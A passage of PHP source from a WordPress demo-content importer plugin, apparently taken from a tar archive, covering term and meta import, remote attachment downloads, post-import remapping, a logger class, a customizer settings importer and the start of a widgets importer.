			if ( isset( $this->mapping['term_slug'][ $parent_slug ] ) ) {
				$data['parent'] = $this->mapping['term_slug'][ $parent_slug ];
			} else {
				// Prepare for remapping later
				$meta[] = array( 'key' => '_wxr_import_parent', 'value' => $parent_slug );
				$requires_remapping = true;

				// Wipe the parent id for now
				$data['parent'] = 0;
			}
		}

		foreach ( $data as $key => $value ) {
			if ( ! isset( $allowed[ $key ] ) ) {
				continue;
			}

			$termdata[ $key ] = $data[ $key ];
		}

		$result = wp_insert_term( $data['name'], $data['taxonomy'], $termdata );
		if ( is_wp_error( $result ) ) {
			$this->logger->warning( sprintf(
				__( 'Failed to import %s %s', 'wordpress-importer' ),
				$data['taxonomy'],
				$data['name']
			) );
			$this->logger->debug( $result->get_error_message() );
			do_action( 'wp_import_insert_term_failed', $result, $data );

			/**
			 * Term processing failed.
			 *
			 * @param WP_Error $result Error object.
			 * @param array $data Raw data imported for the term.
			 * @param array $meta Meta data supplied for the term.
			 */
			do_action( 'wxr_importer.process_failed.term', $result, $data, $meta );
			return false;
		}

		$term_id = $result['term_id'];

		// Now prepare to map this new term.
		$this->mapping['term'][ $mapping_key ] = $term_id;
		$this->mapping['term_id'][ $original_id ] = $term_id;
		$this->mapping['term_slug'][ $term_slug ] = $term_id;

		/*
		 * Fix for OCDI!
		 * The parent will be updated later in post_process_terms
		 * we will need both the term_id AND the term_taxonomy to retrieve existing
		 * term attributes. Those attributes will be returned with the corrected parent,
		 * using wp_update_term.
		 * Pass both the term_id along with the term_taxonomy as key=>value
		 * in the requires_remapping['term'] array.
		 */
		if ( $requires_remapping ) {
			$this->requires_remapping['term'][ $term_id ] = $data['taxonomy'];
		}

		$this->logger->info( sprintf(
			__( 'Imported "%s" (%s)', 'wordpress-importer' ),
			$data['name'],
			$data['taxonomy']
		) );
		$this->logger->debug( sprintf(
			__( 'Term %d remapped to %d', 'wordpress-importer' ),
			$original_id,
			$term_id
		) );

		// Actuall process of the term meta data.
		$this->process_term_meta( $meta, $term_id, $data );

		do_action( 'wp_import_insert_term', $term_id, $data );

		/**
		 * Term processing completed.
		 *
		 * @param int $term_id New term ID.
		 * @param array $data Raw data imported for the term.
		 */
		do_action( 'wxr_importer.processed.term', $term_id, $data );
	}

	/**
	 * Process and import term meta items.
	 *
	 * @param array $meta    List of meta data arrays.
	 * @param int   $term_id Term ID to associate with.
	 * @param array $term    Term data.
	 *
	 * @return int|bool Number of meta items imported on success, false otherwise.
	 */
	protected function process_term_meta( $meta, $term_id, $term ) {
		if ( empty( $meta ) ) {
			return true;
		}

		foreach ( $meta as $meta_item ) {
			/**
			 * Pre-process term meta data.
			 *
			 * @param array $meta_item Meta data. (Return empty to skip.)
			 * @param int $term_id Term the meta is attached to.
			 */
			$meta_item = apply_filters( 'wxr_importer.pre_process.term_meta', $meta_item, $term_id );

			if ( empty( $meta_item ) ) {
				continue;
			}

			$key = apply_filters( 'import_term_meta_key', $meta_item['key'], $term_id, $term );
			$value = false;

			if ( $key ) {
				// Export gets meta straight from the DB so could have a serialized string.
				if ( ! $value ) {
					$value = maybe_unserialize( $meta_item['value'] );
				}

				$result = add_term_meta( $term_id, $key, $value );

				if ( is_wp_error( $result ) ) {
					$this->logger->warning( sprintf(
						__( 'Failed to add metakey: %s, metavalue: %s to term_id: %d', 'wordpress-importer' ),
						$key,
						$value,
						$term_id
					) );
					do_action( 'wxr_importer.process_failed.termmeta', $result, $meta_item, $term_id, $term );
				}
				else {
					$this->logger->debug( sprintf(
						__( 'Meta for term_id %d : %s => %s ; successfully added!', 'wordpress-importer' ),
						$term_id,
						$key,
						$value
					) );
				}

				do_action( 'import_term_meta', $term_id, $key, $value );
			}
		}

		return true;
	}

	/**
	 * Attempt to download a remote file attachment.
	 *
	 * @param string $url  URL of item to fetch.
	 * @param array  $post Attachment details.
	 *
	 * @return array|WP_Error Local file location details on success, WP_Error otherwise
	 */
	protected function fetch_remote_file( $url, $post ) {
		// extract the file name and extension from the url
		$file_name = basename( $url );

		// get placeholder file in the upload dir with a unique, sanitized filename
		$upload = wp_upload_bits( $file_name, 0, '', $post['upload_date'] );
		if ( $upload['error'] ) {
			return new WP_Error( 'upload_dir_error', $upload['error'] );
		}

		// fetch the remote url and write it to the placeholder file
		$response = wp_remote_get( $url, array(
			'stream' => true,
			'filename' => $upload['file'],
		) );

		// request failed
		if ( is_wp_error( $response ) ) {
			unlink( $upload['file'] );
			return $response;
		}

		$code = (int) wp_remote_retrieve_response_code( $response );

		// make sure the fetch was successful
		if ( $code !== 200 ) {
			unlink( $upload['file'] );
			return new WP_Error(
				'import_file_error',
				sprintf(
					__( 'Remote server returned %1$d %2$s for %3$s', 'wordpress-importer' ),
					$code,
					get_status_header_desc( $code ),
					$url
				)
			);
		}

		$filesize = filesize( $upload['file'] );
		$headers = wp_remote_retrieve_headers( $response );

		// OCDI fix!
		// Smaller images with server compression do not pass this rule.
		// More info here: https://github.com/proteusthemes/WordPress-Importer/pull/2
		//
		// if ( isset( $headers['content-length'] ) && $filesize !== (int) $headers['content-length'] ) {
		// 	unlink( $upload['file'] );
		// 	return new WP_Error( 'import_file_error', __( 'Remote file is incorrect size', 'wordpress-importer' ) );
		// }

		if ( 0 === $filesize ) {
			unlink( $upload['file'] );
			return new WP_Error( 'import_file_error', __( 'Zero size file downloaded', 'wordpress-importer' ) );
		}

		$max_size = (int) $this->max_attachment_size();
		if ( ! empty( $max_size ) && $filesize > $max_size ) {
			unlink( $upload['file'] );
			$message = sprintf( __( 'Remote file is too large, limit is %s', 'wordpress-importer' ), size_format( $max_size ) );
			return new WP_Error( 'import_file_error', $message );
		}

		return $upload;
	}

	protected function post_process() {
		// Time to tackle any left-over bits
		if ( ! empty( $this->requires_remapping['post'] ) ) {
			$this->post_process_posts( $this->requires_remapping['post'] );
		}
		if ( ! empty( $this->requires_remapping['comment'] ) ) {
			$this->post_process_comments( $this->requires_remapping['comment'] );
		}
		if ( ! empty( $this->requires_remapping['term'] ) ) {
			$this->post_process_terms( $this->requires_remapping['term'] );
		}
	}

	protected function post_process_posts( $todo ) {
		foreach ( $todo as $post_id => $_ ) {
			$this->logger->debug( sprintf(
			// Note: title intentionally not used to skip extra processing
			// for when debug logging is off
				__( 'Running post-processing for post %d', 'wordpress-importer' ),
				$post_id
			) );

			$data = array();

			$parent_id = get_post_meta( $post_id, '_wxr_import_parent', true );
			if ( ! empty( $parent_id ) ) {
				// Have we imported the parent now?
				if ( isset( $this->mapping['post'][ $parent_id ] ) ) {
					$data['post_parent'] = $this->mapping['post'][ $parent_id ];
				} else {
					$this->logger->warning( sprintf(
						__( 'Could not find the post parent for "%s" (post #%d)', 'wordpress-importer' ),
						get_the_title( $post_id ),
						$post_id
					) );
					$this->logger->debug( sprintf(
						__( 'Post %d was imported with parent %d, but could not be found', 'wordpress-importer' ),
						$post_id,
						$parent_id
					) );
				}
			}

			$author_slug = get_post_meta( $post_id, '_wxr_import_user_slug', true );
			if ( ! empty( $author_slug ) ) {
				// Have we imported the user now?
				if ( isset( $this->mapping['user_slug'][ $author_slug ] ) ) {
					$data['post_author'] = $this->mapping['user_slug'][ $author_slug ];
				} else {
					$this->logger->warning( sprintf(
						__( 'Could not find the author for "%s" (post #%d)', 'wordpress-importer' ),
						get_the_title( $post_id ),
						$post_id
					) );
					$this->logger->debug( sprintf(
						__( 'Post %d was imported with author "%s", but could not be found', 'wordpress-importer' ),
						$post_id,
						$author_slug
					) );
				}
			}

			$has_attachments = get_post_meta( $post_id, '_wxr_import_has_attachment_refs', true );
			if ( ! empty( $has_attachments ) ) {
				$post = get_post( $post_id );
				$content = $post->post_content;

				// Replace all the URLs we've got
				$new_content = str_replace( array_keys( $this->url_remap ), $this->url_remap, $content );
				if ( $new_content !== $content ) {
					$data['post_content'] = $new_content;
				}
			}

			if ( get_post_type( $post_id ) === 'nav_menu_item' ) {
				$this->post_process_menu_item( $post_id );
			}

			// Do we have updates to make?
			if ( empty( $data ) ) {
				$this->logger->debug( sprintf(
					__( 'Post %d was marked for post-processing, but none was required.', 'wordpress-importer' ),
					$post_id
				) );
				continue;
			}

			// Run the update
			$data['ID'] = $post_id;
			$result = wp_update_post( $data, true );
			if ( is_wp_error( $result ) ) {
				$this->logger->warning( sprintf(
					__( 'Could not update "%s" (post #%d) with mapped data', 'wordpress-importer' ),
					get_the_title( $post_id ),
					$post_id
				) );
				$this->logger->debug( $result->get_error_message() );
				continue;
			}

			// Clear out our temporary meta keys
			delete_post_meta( $post_id, '_wxr_import_parent' );
			delete_post_meta( $post_id, '_wxr_import_user_slug' );
			delete_post_meta( $post_id, '_wxr_import_has_attachment_refs' );
		}
	}

	protected function post_process_menu_item( $post_id ) {
		$menu_object_id = get_post_meta( $post_id, '_wxr_import_menu_item', true );
		if ( empty( $menu_object_id ) ) {
			// No processing needed!
			return;
		}

		$menu_item_type = get_post_meta( $post_id, '_menu_item_type', true );
		switch ( $menu_item_type ) {
			case 'taxonomy':
				if ( isset( $this->mapping['term_id'][ $menu_object_id ] ) ) {
					$menu_object = $this->mapping['term_id'][ $menu_object_id ];
				}
				break;

			case 'post_type':
				if ( isset( $this->mapping['post'][ $menu_object_id ] ) ) {
					$menu_object = $this->mapping['post'][ $menu_object_id ];
				}
				break;

			default:
				// Cannot handle this.
				return;
		}

		if ( ! empty( $menu_object ) ) {
			update_post_meta( $post_id, '_menu_item_object_id', wp_slash( $menu_object ) );
		} else {
			$this->logger->warning( sprintf(
				__( 'Could not find the menu object for "%s" (post #%d)', 'wordpress-importer' ),
				get_the_title( $post_id ),
				$post_id
			) );
			$this->logger->debug( sprintf(
				__( 'Post %d was imported with object "%d" of type "%s", but could not be found', 'wordpress-importer' ),
				$post_id,
				$menu_object_id,
				$menu_item_type
			) );
		}

		delete_post_meta( $post_id, '_wxr_import_menu_item' );
	}


	protected function post_process_comments( $todo ) {
		foreach ( $todo as $comment_id => $_ ) {
			$data = array();

			$parent_id = get_comment_meta( $comment_id, '_wxr_import_parent', true );
			if ( ! empty( $parent_id ) ) {
				// Have we imported the parent now?
				if ( isset( $this->mapping['comment'][ $parent_id ] ) ) {
					$data['comment_parent'] = $this->mapping['comment'][ $parent_id ];
				} else {
					$this->logger->warning( sprintf(
						__( 'Could not find the comment parent for comment #%d', 'wordpress-importer' ),
						$comment_id
					) );
					$this->logger->debug( sprintf(
						__( 'Comment %d was imported with parent %d, but could not be found', 'wordpress-importer' ),
						$comment_id,
						$parent_id
					) );
				}
			}

			$author_id = get_comment_meta( $comment_id, '_wxr_import_user', true );
			if ( ! empty( $author_id ) ) {
				// Have we imported the user now?
				if ( isset( $this->mapping['user'][ $author_id ] ) ) {
					$data['user_id'] = $this->mapping['user'][ $author_id ];
				} else {
					$this->logger->warning( sprintf(
						__( 'Could not find the author for comment #%d', 'wordpress-importer' ),
						$comment_id
					) );
					$this->logger->debug( sprintf(
						__( 'Comment %d was imported with author %d, but could not be found', 'wordpress-importer' ),
						$comment_id,
						$author_id
					) );
				}
			}

			// Do we have updates to make?
			if ( empty( $data ) ) {
				continue;
			}

			// Run the update
			$data['comment_ID'] = $comment_id;
			$result = wp_update_comment( wp_slash( $data ) );
			if ( empty( $result ) ) {
				$this->logger->warning( sprintf(
					__( 'Could not update comment #%d with mapped data', 'wordpress-importer' ),
					$comment_id
				) );
				continue;
			}

			// Clear out our temporary meta keys
			delete_comment_meta( $comment_id, '_wxr_import_parent' );
			delete_comment_meta( $comment_id, '_wxr_import_user' );
		}
	}


	/**
	 * There is no explicit 'top' or 'root' for a hierarchy of WordPress terms
	 * Terms without a parent, or parent=0 are either unconnected (orphans)
	 * or top-level siblings without an explicit root parent
	 * An unconnected term (orphan) should have a null parent_slug
	 * Top-level siblings without an explicit root parent, shall be identified
	 * with the parent_slug: top
	 * [we'll map parent_slug: top into parent 0]
	 *
	 * @param array $terms_to_be_remapped The terms to be remapped.
	 */
	protected function post_process_terms( $terms_to_be_remapped ) {
		$this->mapping['term_slug']['top'] = 0;
		// The term_id and term_taxonomy are passed-in with $this->requires_remapping['term'].
		foreach ( $terms_to_be_remapped as $termid => $term_taxonomy ) {
			// Basic check.
			if( empty( $termid ) || ! is_numeric( $termid ) ) {
				$this->logger->warning( sprintf(
					__( 'Faulty term_id provided in terms-to-be-remapped array %s', 'wordpress-importer' ),
					$termid
				) );
				continue;
			}
			// This cast to integer may be unnecessary.
			$term_id = (int) $termid;

			if( empty( $term_taxonomy ) ){
				$this->logger->warning( sprintf(
					__( 'No taxonomy provided in terms-to-be-remapped array for term #%d', 'wordpress-importer' ),
					$term_id
				) );
				continue;
			}

			$parent_slug = get_term_meta( $term_id, '_wxr_import_parent', true );

			if ( empty( $parent_slug ) ) {
				$this->logger->warning( sprintf(
					__( 'No parent_slug identified in remapping-array for term: %d', 'wordpress-importer' ),
					$term_id
				) );
				continue;
			}

			if ( ! isset( $this->mapping['term_slug'][ $parent_slug ] ) || ! is_numeric( $this->mapping['term_slug'][ $parent_slug ] ) ) {
				$this->logger->warning( sprintf(
					__( 'The term(%d)"s parent_slug (%s) is not found in the remapping-array.', 'wordpress-importer' ),
					$term_id,
					$parent_slug
				) );
				continue;
			}

			$mapped_parent = (int) $this->mapping['term_slug'][ $parent_slug ];

			$termattributes = get_term_by( 'id', $term_id, $term_taxonomy, ARRAY_A );
			// Note: the default OBJECT return results in a reserved-word clash with 'parent' [$termattributes->parent], so instead return an associative array.

			if ( empty( $termattributes ) ) {
				$this->logger->warning( sprintf(
					__( 'No data returned by get_term_by for term_id #%d', 'wordpress-importer' ),
					$term_id
				) );
				continue;
			}
			// Check if the correct parent id is already correctly mapped.
			if ( isset( $termattributes['parent'] ) &&  $termattributes['parent'] == $mapped_parent ) {
				// Clear out our temporary meta key.
				delete_term_meta( $term_id, '_wxr_import_parent' );
				continue;
			}

			// Otherwise set the mapped parent and update the term.
			$termattributes['parent'] = $mapped_parent;

			$result = wp_update_term( $term_id, $termattributes['taxonomy'], $termattributes );

			if ( is_wp_error( $result ) ) {
				$this->logger->warning( sprintf(
					__( 'Could not update "%s" (term #%d) with mapped data', 'wordpress-importer' ),
					$termattributes['name'],
					$term_id
				) );
				$this->logger->debug( $result->get_error_message() );
				continue;
			}
			// Clear out our temporary meta key.
			delete_term_meta( $term_id, '_wxr_import_parent' );
			$this->logger->debug( sprintf(
				__( 'Term %d was successfully updated with parent %d', 'wordpress-importer' ),
				$term_id,
				$mapped_parent
			) );
		}
	}


	/**
	 * Use stored mapping information to update old attachment URLs
	 */
	protected function replace_attachment_urls_in_content() {
		global $wpdb;
		// make sure we do the longest urls first, in case one is a substring of another
		uksort( $this->url_remap, array( $this, 'cmpr_strlen' ) );

		foreach ( $this->url_remap as $from_url => $to_url ) {
			// remap urls in post_content
			$query = $wpdb->prepare( "UPDATE {$wpdb->posts} SET post_content = REPLACE(post_content, %s, %s)", $from_url, $to_url );
			$wpdb->query( $query );

			// remap enclosure urls
			$query = $wpdb->prepare( "UPDATE {$wpdb->postmeta} SET meta_value = REPLACE(meta_value, %s, %s) WHERE meta_key='enclosure'", $from_url, $to_url );
			$wpdb->query( $query );
		}
	}

	/**
	 * Update _thumbnail_id meta to new, imported attachment IDs
	 */
	function remap_featured_images() {
		if ( empty( $this->featured_images ) ) {
			return;
		}

		$this->logger->info( esc_html__( 'Starting remapping of featured images', 'wordpress-importer' ) );

		// Cycle through posts that have a featured image.
		foreach ( $this->featured_images as $post_id => $value ) {
			if ( isset( $this->mapping['post'][ $value ] ) ) {
				$new_id = $this->mapping['post'][ $value ];

				// Only update if there's a difference.
				if ( $new_id !== $value ) {
					$this->logger->info( sprintf( esc_html__( 'Remapping featured image ID %d to new ID %d for post ID %d', 'wordpress-importer' ), $value, $new_id, $post_id ) );

					update_post_meta( $post_id, '_thumbnail_id', $new_id );
				}
			}
		}
	}

	/**
	 * Decide if the given meta key maps to information we will want to import
	 *
	 * @param string $key The meta key to check
	 * @return string|bool The key if we do want to import, false if not
	 */
	public function is_valid_meta_key( $key ) {
		// skip attachment metadata since we'll regenerate it from scratch
		// skip _edit_lock as not relevant for import
		if ( in_array( $key, array( '_wp_attached_file', '_wp_attachment_metadata', '_edit_lock' ) ) ) {
			return false;
		}

		return $key;
	}

	/**
	 * Decide what the maximum file size for downloaded attachments is.
	 * Default is 0 (unlimited), can be filtered via import_attachment_size_limit
	 *
	 * @return int Maximum attachment file size to import
	 */
	protected function max_attachment_size() {
		return apply_filters( 'import_attachment_size_limit', 0 );
	}

	/**
	 * Added to http_request_timeout filter to force timeout at 60 seconds during import
	 *
	 * @param int $val Time in seconds.
	 * @access protected
	 * @return int 60
	 */
	function bump_request_timeout($val) {
		return 60;
	}

	// return the difference in length between two strings
	function cmpr_strlen( $a, $b ) {
		return strlen( $b ) - strlen( $a );
	}

	/**
	 * Prefill existing post data.
	 *
	 * This preloads all GUIDs into memory, allowing us to avoid hitting the
	 * database when we need to check for existence. With larger imports, this
	 * becomes prohibitively slow to perform SELECT queries on each.
	 *
	 * By preloading all this data into memory, it's a constant-time lookup in
	 * PHP instead. However, this does use a lot more memory, so for sites doing
	 * small imports onto a large site, it may be a better tradeoff to use
	 * on-the-fly checking instead.
	 */
	protected function prefill_existing_posts() {
		global $wpdb;
		$posts = $wpdb->get_results( "SELECT ID, guid FROM {$wpdb->posts}" );

		foreach ( $posts as $item ) {
			$this->exists['post'][ $item->guid ] = $item->ID;
		}
	}

	/**
	 * Does the post exist?
	 *
	 * @param array $data Post data to check against.
	 * @return int|bool Existing post ID if it exists, false otherwise.
	 */
	protected function post_exists( $data ) {
		// Constant-time lookup if we prefilled
		$exists_key = $data['guid'];

		if ( $this->options['prefill_existing_posts'] ) {
			// OCDI: fix for custom post types. The guids in the prefilled section are escaped, so these ones should be as well.
			$exists_key = htmlentities( $exists_key );
			return isset( $this->exists['post'][ $exists_key ] ) ? $this->exists['post'][ $exists_key ] : false;
		}

		// No prefilling, but might have already handled it
		if ( isset( $this->exists['post'][ $exists_key ] ) ) {
			return $this->exists['post'][ $exists_key ];
		}

		// Still nothing, try post_exists, and cache it
		$exists = post_exists( $data['post_title'], $data['post_content'], $data['post_date'] );
		$this->exists['post'][ $exists_key ] = $exists;

		return $exists;
	}

	/**
	 * Mark the post as existing.
	 *
	 * @param array $data Post data to mark as existing.
	 * @param int $post_id Post ID.
	 */
	protected function mark_post_exists( $data, $post_id ) {
		$exists_key = $data['guid'];
		$this->exists['post'][ $exists_key ] = $post_id;
	}

	/**
	 * Prefill existing comment data.
	 *
	 * @see self::prefill_existing_posts() for justification of why this exists.
	 */
	protected function prefill_existing_comments() {
		global $wpdb;
		$posts = $wpdb->get_results( "SELECT comment_ID, comment_author, comment_date FROM {$wpdb->comments}" );

		foreach ( $posts as $item ) {
			$exists_key = sha1( $item->comment_author . ':' . $item->comment_date );
			$this->exists['comment'][ $exists_key ] = $item->comment_ID;
		}
	}

	/**
	 * Does the comment exist?
	 *
	 * @param array $data Comment data to check against.
	 * @return int|bool Existing comment ID if it exists, false otherwise.
	 */
	protected function comment_exists( $data ) {
		$exists_key = sha1( $data['comment_author'] . ':' . $data['comment_date'] );

		// Constant-time lookup if we prefilled
		if ( $this->options['prefill_existing_comments'] ) {
			return isset( $this->exists['comment'][ $exists_key ] ) ? $this->exists['comment'][ $exists_key ] : false;
		}

		// No prefilling, but might have already handled it
		if ( isset( $this->exists['comment'][ $exists_key ] ) ) {
			return $this->exists['comment'][ $exists_key ];
		}

		// Still nothing, try comment_exists, and cache it
		$exists = comment_exists( $data['comment_author'], $data['comment_date'] );
		$this->exists['comment'][ $exists_key ] = $exists;

		return $exists;
	}

	/**
	 * Mark the comment as existing.
	 *
	 * @param array $data Comment data to mark as existing.
	 * @param int $comment_id Comment ID.
	 */
	protected function mark_comment_exists( $data, $comment_id ) {
		$exists_key = sha1( $data['comment_author'] . ':' . $data['comment_date'] );
		$this->exists['comment'][ $exists_key ] = $comment_id;
	}

	/**
	 * Prefill existing term data.
	 *
	 * @see self::prefill_existing_posts() for justification of why this exists.
	 */
	protected function prefill_existing_terms() {
		global $wpdb;
		$query = "SELECT t.term_id, tt.taxonomy, t.slug FROM {$wpdb->terms} AS t";
		$query .= " JOIN {$wpdb->term_taxonomy} AS tt ON t.term_id = tt.term_id";
		$terms = $wpdb->get_results( $query );

		foreach ( $terms as $item ) {
			$exists_key = sha1( $item->taxonomy . ':' . $item->slug );
			$this->exists['term'][ $exists_key ] = $item->term_id;
		}
	}

	/**
	 * Does the term exist?
	 *
	 * @param array $data Term data to check against.
	 * @return int|bool Existing term ID if it exists, false otherwise.
	 */
	protected function term_exists( $data ) {
		$exists_key = sha1( $data['taxonomy'] . ':' . $data['slug'] );

		// Constant-time lookup if we prefilled
		if ( $this->options['prefill_existing_terms'] ) {
			return isset( $this->exists['term'][ $exists_key ] ) ? $this->exists['term'][ $exists_key ] : false;
		}

		// No prefilling, but might have already handled it
		if ( isset( $this->exists['term'][ $exists_key ] ) ) {
			return $this->exists['term'][ $exists_key ];
		}

		// Still nothing, try comment_exists, and cache it
		$exists = term_exists( $data['slug'], $data['taxonomy'] );
		if ( is_array( $exists ) ) {
			$exists = $exists['term_id'];
		}

		$this->exists['term'][ $exists_key ] = $exists;

		return $exists;
	}

	/**
	 * Mark the term as existing.
	 *
	 * @param array $data Term data to mark as existing.
	 * @param int $term_id Term ID.
	 */
	protected function mark_term_exists( $data, $term_id ) {
		$exists_key = sha1( $data['taxonomy'] . ':' . $data['slug'] );
		$this->exists['term'][ $exists_key ] = $term_id;
	}
}
soo-demo-importer/includes/class-logger.php000064400000006660147510273060015043 0ustar00<?php

/**
 * Describes a logger instance
 *
 * Based on PSR-3: http://www.php-fig.org/psr/psr-3/
 *
 * The message MUST be a string or object implementing __toString().
 *
 * The message MAY contain placeholders in the form: {foo} where foo
 * will be replaced by the context data in key "foo".
 *
 * The context array can contain arbitrary data, the only assumption that
 * can be made by implementors is that if an Exception instance is given
 * to produce a stack trace, it MUST be in a key named "exception".
 *
 * See https://github.com/php-fig/fig-standards/blob/master/accepted/PSR-3-logger-interface.md
 * for the full interface specification.
 */
class WP_Importer_Logger {
	/**
	 * System is unusable.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function emergency( $message, array $context = array() ) {
		return $this->log( 'emergency', $message, $context );
	}

	/**
	 * Action must be taken immediately.
	 *
	 * Example: Entire website down, database unavailable, etc. This should
	 * trigger the SMS alerts and wake you up.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function alert( $message, array $context = array() ) {
		return $this->log( 'alert', $message, $context );
	}

	/**
	 * Critical conditions.
	 *
	 * Example: Application component unavailable, unexpected exception.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function critical( $message, array $context = array() ) {
		return $this->log( 'critical', $message, $context );
	}

	/**
	 * Runtime errors that do not require immediate action but should typically
	 * be logged and monitored.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function error( $message, array $context = array()) {
		return $this->log( 'error', $message, $context );
	}

	/**
	 * Exceptional occurrences that are not errors.
	 *
	 * Example: Use of deprecated APIs, poor use of an API, undesirable things
	 * that are not necessarily wrong.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function warning( $message, array $context = array() ) {
		return $this->log( 'warning', $message, $context );
	}

	/**
	 * Normal but significant events.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function notice( $message, array $context = array() ) {
		return $this->log( 'notice', $message, $context );
	}

	/**
	 * Interesting events.
	 *
	 * Example: User logs in, SQL logs.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function info( $message, array $context = array() ) {
		return $this->log( 'info', $message, $context );
	}

	/**
	 * Detailed debug information.
	 *
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function debug( $message, array $context = array() ) {
		return $this->log( 'debug', $message, $context );
	}

	/**
	 * Logs with an arbitrary level.
	 *
	 * @param mixed $level
	 * @param string $message
	 * @param array $context
	 * @return null
	 */
	public function log( $level, $message, array $context = array() ) {
		$this->messages[] = array(
			'timestamp' => time(),
			'level'     => $level,
			'message'   => $message,
			'context'   => $context,
		);
	}
}
soo-demo-importer/includes/customizer-importer.php000064400000011506147510273060016517 0ustar00<?php
/**
 * Class for the customizer importer used in the One Click Demo Import plugin.
 *
 * Code is mostly from the Customizer Export/Import plugin.
 *
 * @see https://wordpress.org/plugins/customizer-export-import/
 */
class Soo_Demo_Customizer_Importer {
	public $download_images = false;

	private $processed_images = array();

	/**
	 * Imports uploaded mods and calls WordPress core customize_save actions so
	 * themes that hook into them can act before mods are saved to the database.
	 *
	 * @param  string $file
	 */
	public function import( $file ) {
		// Setup global vars.
		global $wp_customize;

		// Setup internal vars.
		$template = get_template();

		// Get the upload data.
		$raw  = file_get_contents( $file );
		$data = @unserialize( $raw );

		// Data checks.
		if ( ! is_array( $data ) && ( ! isset( $data['template'] ) || ! isset( $data['mods'] ) ) ) {
			return new WP_Error(
				'customizer_import_data_error',
				esc_html__( 'The customizer import file is not in a correct format. Please make sure to use the correct customizer import file.', 'soodi' )
			);
		}
		if ( $data['template'] !== $template ) {
			return new WP_Error(
				'customizer_import_wrong_theme',
				esc_html__( 'The customizer import file is not suitable for current theme. You can only import customizer settings for the same theme or a child theme.', 'soodi' )
			);
		}

		// Import images.
		if ( $this->download_images ) {
			$data['mods'] = $this->import_images( $data['mods'] );
		}

		// Import custom options.
		if ( isset( $data['options'] ) ) {
			require dirname( __FILE__ ) . '/customizer-option.php';

			foreach ( $data['options'] as $option_key => $option_value ) {
				$option = new Soo_Demo_Customizer_Option( $wp_customize, $option_key, array(
					'default'    => '',
					'type'       => 'option',
					'capability' => 'edit_theme_options',
				) );

				$option->import( $option_value );
			}
		}

		// Loop through the mods.
		foreach ( $data['mods'] as $key => $val ) {

			// Save the mod.
			set_theme_mod( $key, $val );
		}

		return true;
	}

	/**
	 * Imports images for settings saved as mods.
	 *
	 * @return array The mods array with any new import data.
	 */
	private function import_images( $mods ) {
		foreach ( $mods as $key => $val ) {

			if ( $this->is_image_url( $val ) ) {

				if ( array_key_exists( $val, $this->processed_images ) ) {
					$data = $this->processed_images[$val];
				} else {
					$data = $this->sideload_image( $val );
					$this->processed_images[$val] = $data;
				}

				if ( ! is_wp_error( $data ) ) {

					$mods[ $key ] = $data->url;

					// Handle header image controls.
					if ( isset( $mods[ $key . '_data' ] ) ) {
						$mods[ $key . '_data' ] = $data;
						update_post_meta( $data->attachment_id, '_wp_attachment_is_custom_header', get_stylesheet() );
					}
				}
			}
		}

		return $mods;
	}

	/**
	 * Taken from the core media_sideload_image function and
	 * modified to return an array of data instead of html.
	 *
	 * @param string $file The image file path.
	 * @return array An array of image data.
	 */
	private function sideload_image( $file ) {
		$data = new stdClass();

		if ( ! function_exists( 'media_handle_sideload' ) ) {
			require_once( ABSPATH . 'wp-admin/includes/media.php' );
			require_once( ABSPATH . 'wp-admin/includes/file.php' );
			require_once( ABSPATH . 'wp-admin/includes/image.php' );
		}

		if ( ! empty( $file ) ) {
			// Set variables for storage, fix file filename for query strings.
			preg_match( '/[^\?]+\.(jpe?g|jpe|gif|png)\b/i', $file, $matches );
			$file_array = array();
			$file_array['name'] = basename( $matches[0] );

			// Download file to temp location.
			$file_array['tmp_name'] = download_url( $file );

			// If error storing temporarily, return the error.
			if ( is_wp_error( $file_array['tmp_name'] ) ) {
				return $file_array['tmp_name'];
			}

			// Do the validation and storage stuff.
			$id = media_handle_sideload( $file_array, 0 );

			// If error storing permanently, unlink.
			if ( is_wp_error( $id ) ) {
				@unlink( $file_array['tmp_name'] );
				return $id;
			}

			// Build the object to return.
			$meta					= wp_get_attachment_metadata( $id );
			$data->attachment_id	= $id;
			$data->url				= wp_get_attachment_url( $id );
			$data->thumbnail_url	= wp_get_attachment_thumb_url( $id );
			$data->height			= $meta['height'];
			$data->width			= $meta['width'];
		}

		return $data;
	}

	/**
	 * Checks to see whether a string is an image url or not.
	 *
	 * @return bool Whether the string is an image url or not.
	 */
	private function is_image_url( $string = '' ) {
		if ( is_string( $string ) ) {

			if ( preg_match( '/\.(jpg|jpeg|png|gif)/i', $string ) ) {
				return true;
			}
		}

		return false;
	}
}
soo-demo-importer/includes/widgets-importer.php000064400000020130147510273060015752 0ustar00<?php
/**
 * Import widgets from a json file
 * Use plugin Widget Importer & Exporter to export
 *
 * @link https://wordpress.org/plugins/widget-importer-exporter/
 */

/**
 * Class to import widgets from exported file
 * The exported file must be in json format
 *
 * @version 1.0.0
 */
class Soo_Demo_Widgets_Importer {
	/**
	 * Main function to import widgets
	 *
	 * @param  object $data The widgets object
	 * @return array        Imported widgets
	 */
	public function import( $data ) {
		global $wp_registered_sidebars;

		// Have valid data?
		// If no data or could not decode
		if ( empty( $data ) || ! is_object( $data ) ) {
			wp_die(
				__( 'Import data could not be read. Please try a different file.', 'claudio' ),
				'',
				array( 'back_link' => true )
			);
		}

		// Get all available widgets site supports
		$available_widgets = $this->available_widgets();

		// Get all existing widget instances
		$widget_instances = array();
		foreach ( $available_widgets as $widget_data ) {
			$widget_instances[$widget_data['id_base']] = get_option( 'widget_' . $widget_data['id_base'] );
		}

		// Begin results
		$results = array();

		// Loop import data's sidebars
		foreach ( $data as $sidebar_id => $widgets ) {

			// Skip inactive widgets
			// (should not be in export file)
			if ( 'wp_inactive_widgets' == $sidebar_id ) {
				continue;
			}

			// Check if sidebar is available on this site
			// Otherwise add widgets to inactive, and say so
			if ( isset( $wp_registered_sidebars[$sidebar_id] ) ) {
				$sidebar_available = true;
				$use_sidebar_id = $sidebar_id;
				$sidebar_message_type = 'success';
				$sidebar_message = '';
			} else {
				$sidebar_available = false;
				$use_sidebar_id = 'wp_inactive_widgets'; // add to inactive if sidebar does not exist in theme
